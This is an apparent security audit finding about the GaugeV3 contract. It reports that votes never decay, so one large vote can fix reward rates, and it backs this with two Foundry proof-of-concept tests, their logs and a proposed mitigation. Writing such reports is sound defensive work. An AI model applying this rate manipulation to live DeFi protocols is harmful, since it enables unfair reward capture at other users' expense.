Lack of Vote Decay in GaugeV3 Contract
Closed this issue · 1 comments
Lines of code
Vulnerability details
Impact
GaugeV3 contract allows for long-term rate manipulation through a single large vote. This exploit can lead to unfair distribution of rewards, potential economic attacks, and compromise the integrity of the voting system.
Proof of Concept
The issue allows Bob to cast an extremely large vote that overwhelms all other votes and persists indefinitely.
if (lpSide) {
qp.totalVotesLpSide += votes; // U:[GA-12]
uv.votesLpSide += votes; // U:[GA-12]
} else {
qp.totalVotesCaSide += votes; // U:[GA-12]
uv.votesCaSide += votes; // U:[GA-12]
}Attack Senario:
- Bob identifies a token in the GaugeV3 contract.
- Bob casts a large vote (100,000,000) for this token on the LP side.
- This vote immediately pushes the rate to the maximum allowed value (100).
- Alice, a normal user, attempts to counteract with a significant but much smaller vote (1,000,000) on the CA side.
- Alice's vote has negligible impact, barely moving the rate from 100.
- 30 days pass, simulating multiple epochs.
- The system updates the epoch, but the rate remains unchanged at 100.
- The manipulated rate persists, demonstrating the long-term impact of Bob's single large vote.
Please add this code to CDPVault.t.sol.
function testRateManipulationCaseA() public {
console.log("Starting rate manipulation test");
CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1.0 ether, 0);
createGaugeAndSetGauge(address(vault));
// create position
token.mint(address(this), 200 ether);
token.approve(address(vault), 200 ether);
address attacker = address(0x1);
address normalUser = address(0x2);
// Initial state
address[] memory tokens = new address[](1);
tokens[0] = address(token);
uint16[] memory initialRates = gauge.getRates(tokens);
console.log("Initial rate:");
console.logUint(initialRates[0]);
// Attacker casts a large vote
uint96 largeVote = 100000000; // type(uint96).max;
bytes memory voteData = abi.encode(address(token), true); // vote for LP side
vm.prank(address(voter));
gauge.vote(attacker, largeVote, voteData);
// Check rates after attacker's vote
uint16[] memory ratesAfterAttack = gauge.getRates(tokens);
console.log("Rate after attacker's vote:");
console.logUint(ratesAfterAttack[0]);
// Normal user tries to counteract
uint96 normalVote = 1000000; // A significant but much smaller vote
voteData = abi.encode(address(token), false); // vote for CA side
vm.prank(address(voter));
gauge.vote(normalUser, normalVote, voteData);
// Check rates after normal user's vote
uint16[] memory ratesAfterNormalVote = gauge.getRates(tokens);
console.log("Rate after normal user's vote:");
console.logUint(ratesAfterNormalVote[0]);
// Simulate time passing (multiple epochs)
vm.warp(block.timestamp + 30 days);
gauge.updateEpoch();
// Check rates after time has passed
uint16[] memory ratesAfterTime = gauge.getRates(tokens);
console.log("Rate after time has passed:");
console.logUint(ratesAfterTime[0]);
// Assertions to confirm the vulnerability
assertEq(ratesAfterAttack[0], 100, "Rate should be at maximum after attacker's vote");
assertNotEq(ratesAfterNormalVote[0], ratesAfterAttack[0], "Normal user's vote should have an impact");
assertEq(ratesAfterTime[0], ratesAfterNormalVote[0], "Rate should remain unchanged after time passes");
console.log("Rate manipulation test completed");
}Output
[PASS] testRateManipulationCaseA() (gas: 3508736)
Logs:
Starting rate manipulation test
Initial rate:
10
Rate after attacker's vote:
100
Rate after normal user's vote:
99
Rate after time has passed:
99
Rate manipulation test completedCase B:
The vote is not brought to the middle exactly, even though both users voted with the same amount.
Please add this code to CDPVault.t.sol.
function testRateManipulationCaseB() public {
CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1.0 ether, 0);
createGaugeAndSetGauge(address(vault));
// create position
token.mint(address(this), 200 ether);
token.approve(address(vault), 200 ether);
address attacker = address(0x1);
address normalUser = address(0x2);
// Initial state
address[] memory tokens = new address[](1);
tokens[0] = address(token);
uint16[] memory initialRates = gauge.getRates(tokens);
console.log("Initial rate:");
console.logUint(initialRates[0]);
// Normal user tries to vote
uint96 normalVote = 1000000; // A significant but much smaller vote
bytes memory voteData = abi.encode(address(token), false); // vote for CA side
vm.prank(address(voter));
gauge.vote(normalUser, normalVote, voteData);
// Check rates after normal user's vote
uint16[] memory ratesAfterNormalVote = gauge.getRates(tokens);
console.log("Rate after first vote:");
console.logUint(ratesAfterNormalVote[0]);
// another user
uint96 largeVote = 1000000;
voteData = abi.encode(address(token), true); // vote for LP side
vm.prank(address(voter));
gauge.vote(attacker, largeVote, voteData);
// Check rates after user's vote
uint16[] memory ratesAfterAttack = gauge.getRates(tokens);
console.log("Rate after second vote:");
console.logUint(ratesAfterAttack[0]);
// Simulate time passing (multiple epochs)
vm.warp(block.timestamp + 30 days);
gauge.updateEpoch();
// Check rates after time has passed
uint16[] memory ratesAfterTime = gauge.getRates(tokens);
console.log("Rate after time has passed:");
console.logUint(ratesAfterTime[0]);
}
Output
Logs:
Initial rate:
10
Rate after first vote:
10
Rate after second vote:
55
Rate after time has passed:
55Tools Used
Manual Review
Recommended Mitigation Steps
Implement a vote decay mechanism where votes lose influence over time. This can be achieved by introducing a decay factor that reduces vote power based on the time elapsed since the vote was cast. Additionally, consider implementing a maximum vote power limit per user to prevent any single voter from having an overly dominant influence on the rates.
Assessed type
Other
Hey @koolexcrypto , thank you for the judging efforts. i think this issue was missed in the validation repo, there is a
POC already provided, you can test it. thank you.